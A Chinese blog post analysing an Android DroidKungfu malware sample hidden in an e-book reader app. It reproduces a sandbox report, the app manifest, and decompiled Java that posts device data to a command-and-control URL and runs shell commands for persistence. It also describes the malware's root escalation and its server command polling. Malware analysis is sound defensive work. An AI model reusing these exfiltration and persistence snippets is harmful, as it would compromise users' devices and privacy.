DroidKungfu系列病毒分析(一)
来源:互联网 发布:淘宝卖家客服 编辑:程序博客网 时间:2024/06/06 04:20
今天才拿到病毒包……随便点开一个看一下吧
于是我们点开了这个星辰变全集
先提交到http://mobilesandbox.org/上面看下 发现有这个的报告了 于是我们直接先来看下静态分析的报告
APK Infos
META-INF/GOOGLE_I.SF
META-INF/GOOGLE_I.RSA
assets/gjsvro
assets/killall
assets/legacy
assets/ratc
assets/xcb.txt
lib/armeabi/libnative.so
res/drawable-mdpi/bg.png
res/drawable-mdpi/bg1.jpg
res/drawable-mdpi/bg2.jpg
res/drawable-mdpi/bg3.jpg
res/drawable-mdpi/bg4.jpg
res/drawable-mdpi/bg5.jpg
res/drawable-mdpi/bg6.jpg
res/drawable-mdpi/icon.png
res/drawable-mdpi/settingbg.jpg
res/layout/anim_alpha.xml
res/layout/anim_l_to_r.xml
res/layout/anim_r_to_l.xml
res/layout/main.xml
res/layout/mainlarge.xml
res/layout/mainsmall.xml
res/layout/setting.xml
res/layout/viewfile.xml
res/menu/menu.xml
AndroidManifest.xml
classes.dex
resources.arsc
Static Analyzer V1
-- Report --
android.hardware.location.gps
android.hardware.wifi
android.hardware.touchscreen
android.hardware.screen.portrait
android.permission.READ_PHONE_STATE
android.permission.ACCESS_NETWORK_STATE
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.ACCESS_FINE_LOCATION
android.permission.READ_LOGS
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.INSTALL_PACKAGES
android.permission.ACCESS_NETWORK_STATE
android.permission.READ_LOGS
android.permission.READ_PHONE_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.ACCESS_FINE_LOCATION
android/content/Context;->startService
android/net/ConnectivityManager;->getNetworkInfo
java/lang/Runtime;->exec
android/telephony/TelephonyManager;->getDeviceId
android/net/wifi/WifiManager;->getWifiState
android/net/wifi/WifiManager;->setWifiEnabled
android/location/LocationManager;->getLastKnownLocation
android.intent.category.LAUNCHER
android.intent.action.BATTERY_CHANGED_ACTION
android.intent.action.SIG_STR
android.intent.action.BOOT_COMPLETED
com.google.ssearch.Dialog
.ViewFileAct_Float
Settings
Cipher(AES)
Read/Write External Storage
getSystemService
Execution of external commands
getDeviceId
HttpPost
system/bin/su
getWifiState
setWifiEnabled
getSubscriberId
com.google.ssearch.Receiver
http://search.gongfu-android.com:8511/search/getty.php
http://search.gongfu-android.com:8511/search/rpty.php
http://static.youmi.net/files/pic/320.png
http://static.youmi.net/files/pic/176.png
http://static.youmi.net/files/pic/240.png
http://static.youmi.net/files/pic/480.png
http://schemas.android.com/apk/res/
http://gw.youmi.net/reqad
http://gw.youmi.net/prsad
http://gw.youmi.net/clkad
http://gw.youmi.net/effad
http://gw.youmi.net/cacapp
http://ditu.google.cn/staticmap?center=
那么我们下来开始正式的分析过程
首先拖到APKIDE 然后进行反编译 再把CLASS.DEX转换成JAR
准备工作完毕
下面可以看到在AndroidManifest.xml的信息
<?xml version="1.0" encoding="utf-8"?><manifest android:versionCode="1" android:versionName="1.0" package="com.allen.txtxcb" xmlns:android="http://schemas.android.com/apk/res/android"> <application android:label="@string/app_name" android:icon="@drawable/icon"> <activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_name" android:name=".txtReader" android:screenOrientation="portrait"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:theme="@android:style/Theme.Dialog" android:name="com.google.ssearch.Dialog" android:configChanges="keyboardHidden|orientation" /> <service android:name="com.google.ssearch.SearchService" /> <receiver android:name="com.google.ssearch.Receiver"> <intent-filter> <action android:name="android.intent.action.BATTERY_CHANGED_ACTION" /> <action android:name="android.intent.action.SIG_STR" /> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".ViewFileAct_Float" android:screenOrientation="portrait" /> <activity android:theme="@android:style/Theme.NoTitleBar" android:name="Settings" android:screenOrientation="portrait" /> <meta-data android:name="Wooboo_PID" android:value="f3581d02a4324338bba52dd7e4faa94a" /> <meta-data android:name="Market_ID" android:value="1" /> <meta-data android:name="GH_APPKEY" android:value="d6a36e24c86f5ecd758629154669f343" /> </application> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.READ_LOGS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <uses-permission android:name="android.permission.INSTALL_PACKAGES" /></manifest>
程序的包名:com.allen.txtxcb
程序有2个Activity:android.intent.action.MAIN 和 android.intent.category.LAUNCHER
程序有3个元数据:
Wooboo_PID value = "f3581d02a4324338bba52dd7e4faa94a"
Market_ID value = "1"
GH_APPKEY value = "d6a36e24c86f5ecd758629154669f343"
程序有1个Service:com.google.ssearch.SearchService
程序有1个BroadcastReceiver:com.google.ssearch.Receiver
程序使用到以下权限:
<uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.READ_LOGS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
===================================================================================================================
可以看到 在这个SearchService上面会调用MyThread来安装这个恶意的google.ssearch
public void run() { ApplicationInfo localApplicationInfo = SearchService.this.getApplicationInfo(); Utils.runsh("/data/data/" + localApplicationInfo.packageName + "/killall /data/data/" + localApplicationInfo.packageName, ""); try { sleep(5000L); label50: if (new File("/system/bin/gjsvr").exists()) { Utils.runsh("/system/bin/gjsvr", ""); android.os.Process.killProcess(android.os.Process.myPid()); return; } Utils.runsh("am", "startservice -n " + localApplicationInfo.packageName + "/com.google.ssearch.SearchService"); Intent localIntent = SearchService.this.getBaseContext().getPackageManager().getLaunchIntentForPackage(SearchService.this.getBaseContext().getPackageName()); localIntent.addFlags(134217728); localIntent.addFlags(4194304); localIntent.addFlags(65536); SearchService.this.startActivity(localIntent); android.os.Process.killProcess(android.os.Process.myPid()); return; } catch (InterruptedException localInterruptedException) { break label50; } }
google.ssearch包分析
然后定位到OnCreate()方法处
public void onCreate() { super.onCreate(); SharedPreferences localSharedPreferences = getSharedPreferences("sstimestamp", 0); long l1 = localSharedPreferences.getLong("start", 0L); long l2 = System.currentTimeMillis(); if (l1 == 0L) { SharedPreferences.Editor localEditor = localSharedPreferences.edit(); localEditor.putLong("start", l2); localEditor.commit(); stopSelf(); return; } if (l2 - l1 < 14400000L) { stopSelf(); return; } this.mPreferences = getSharedPreferences("permission", 0); if (Utils.isConnected(this)) { doSearchReport(); } getPermission(); provideService(); }
那么我们可以看到命名了2个LONG型的变量 并且将l1初始化为0L 如果l1的值等于0L那么我们将l2的值赋给l1
而我们可以看到程序调用的这个System.currentTimeMillis();函数来作为l2的值 那么我们查询下这个的含义如下
1、 意义:currentTimeMillis()返回以毫秒为单位的当前时间,返回的是当前时间与协调世界时 1970 年 1 月 1 日午夜之间的时间差(以毫秒为单位测量)。注意,当返回值的时间单位是毫秒时,值的粒度取决于基础操作系统,并且粒度可能更大。例如,许多操作系统以几十毫秒为单位测量时间。2、 用处:(1) 用来测试程序的运行时间:publicclass TestTime{ public static void main(String[] args){ String str = new String("0"); long time1 =System.currentTimeMillis(); for(int i=0;i<10000;i++){ str += i; } long time2 =System.currentTimeMillis(); System.out.println("for循环共用了" + (time2 - time1) + "毫秒。"); }}(2) 控制线程时间,刷新屏幕频率: time1 = System.currentTimeMillis();#你所运行的程序time2 = System.currentTimeMillis();if (time2 - time1 < 60) {try {Thread.sleep(60 - (time2 - time1));} catch (InterruptedException e) {}}(3) 生成不重复的文件名: public String getName(){ Stringdate1 = null; SimpleDateFormatsdf1 = new SimpleDateFormat("yyyyMMddHHmmssSSS"); date1= sdf1.format(new Date(System.currentTimeMillis()))+".txt"; return date1;}
那么这里应该是来计算程序运行时间的
再往下看 还强制调用了一个doSearchReport();
我们跟进进去看到这个doSearchReport();
for (;;) { HttpPost localHttpPost = new HttpPost("http://search.gongfu-android.com:8511/search/sayhi.php"); try { localHttpPost.setEntity(new UrlEncodedFormEntity(localArrayList, "UTF-8")); new DefaultHttpClient().execute(localHttpPost).getStatusLine().getStatusCode(); return; } catch (Exception localException) {} localArrayList.add(new BasicNameValuePair("root", "0")); }
将你的信息Post到了这个恶意网址上 貌似这个网站已经挂了
然后先后分别调用getPermission(); 以及provideService();
分别跟进进去看一下getPerimission()会根据不同情况再来调用getPerimission1(),getPerimission2(),getPerimission3()这三个函数来进行提权
恶意程序获得了权限过后就会调用这个provideService()服务来坑人了
功能应该是窃取用户的权限,然后传输心跳包并且不停的轮训执行服务器的指令。
public static boolean isConnected(Context paramContext) { ConnectivityManager localConnectivityManager = (ConnectivityManager)paramContext.getSystemService("connectivity"); if (localConnectivityManager.getNetworkInfo(1).isConnected()) { return true; } return localConnectivityManager.getNetworkInfo(0).isConnected(); }
由于篇幅和版面问题,具体的代码就不再贴出来,总之里面有一大堆恶心的窃取隐私函数和执行服务器轮训指令的函数 真是丧心病狂。
- DroidKungfu系列病毒分析(一)
- 纯小白系列(一)之PC病毒分析
- Android手机病毒分析(一)
- dll病毒分析(一)
- [病毒] 木马原理系列一
- ActiveMQ 分析系列(一)
- 经典怀旧(一) - Vulcano病毒分析
- 一个DDOS病毒的分析(一)
- 一个DDOS病毒的分析(一)
- 病毒诊断分析程序(病毒分析师的福音)
- QEMU源码分析系列(一)
- ztree使用系列一(需求分析)
- android WifiDisplay 源码分析系列 (一)
- DbUtils源码分析系列(一)
- 车道检测源码分析系列(一)
- Win32病毒入门(一)
- 鱼塘分析系列一
- 病毒分析
- Linux网络编程之I/O复用循环服务器
- IOS开发如何入门
- bat 进入相对路径 设置环境变量set path
- spring3 bean容器相关源码学习----ApplicationContext接口
- 九宫格问题
- DroidKungfu系列病毒分析(一)
- 多媒体编程——ios摄像头图像抓取工具类
- Linux网络编程之广播
- springMVC+velocity配置
- 学习pthreads,多线程的创建和终止
- poj 2387 Til the Cows Come Home
- 常用SQL查询语句
- Introduction to Structure Map
- 获取当前时间,并格式化并加密文本